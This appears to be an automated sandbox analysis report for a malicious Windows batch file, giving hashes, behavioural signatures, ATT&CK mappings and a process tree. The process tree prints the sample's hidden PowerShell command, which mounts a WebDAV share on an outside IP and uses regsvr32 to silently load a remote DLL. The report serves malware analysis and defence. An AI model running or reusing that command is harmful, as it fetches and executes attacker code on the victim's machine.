87a54dc1b482b5a3f168224786abc8c76a42c05e58f4ab3825e1a020852b0ade

Analysis

max time kernel
117s
max time network
125s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 03:25

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General

Target

462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56.bat
Size

5KB
MD5

adddd4eb0b435b315bf4fe4eb51a10bc
SHA1

b4176175f7fce2912ad148d32d6a2319cc318ed6
SHA256

462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56
SHA512

cabe52a6fef9c7b03b880357c90912b3c8f46d699cefa83ddeddb985db92ad2596582ba63f8411659faaf688fc1c2e3b9e2d35c2ba890b4552b2dbb8b38cf07a
SSDEEP

96:hizFqBWVs2T7dx3W0ANEz1b2iSXae160sUIKRrzzMZERrzzMy+1IQehPBiq8DEyX:IzFz+2T7W/I1/Eae160sU99zzyE9zzOz

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3048	wordpad.exe
3048	wordpad.exe
3048	wordpad.exe
3048	wordpad.exe
3048	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 3048	3016	cmd.exe	31
PID 3016 wrote to memory of 3048	3016	cmd.exe	31
PID 3016 wrote to memory of 3048	3016	cmd.exe	31
PID 3016 wrote to memory of 2732	3016	cmd.exe	32
PID 3016 wrote to memory of 2732	3016	cmd.exe	32
PID 3016 wrote to memory of 2732	3016	cmd.exe	32
PID 2732 wrote to memory of 2884	2732	powershell.exe	34
PID 2732 wrote to memory of 2884	2732	powershell.exe	34
PID 2732 wrote to memory of 2884	2732	powershell.exe	34
PID 2732 wrote to memory of 2652	2732	powershell.exe	35
PID 2732 wrote to memory of 2652	2732	powershell.exe	35
PID 2732 wrote to memory of 2652	2732	powershell.exe	35
PID 2732 wrote to memory of 2652	2732	powershell.exe	35
PID 2732 wrote to memory of 2652	2732	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\462bab7323a73643e7e932dda4e3304cc222aa1dcb8bfa9b8a9902cd54226c56.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\297991671131869.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2884
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\297991671131869.dll
    3⤵
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2732-23-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/2732-24-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download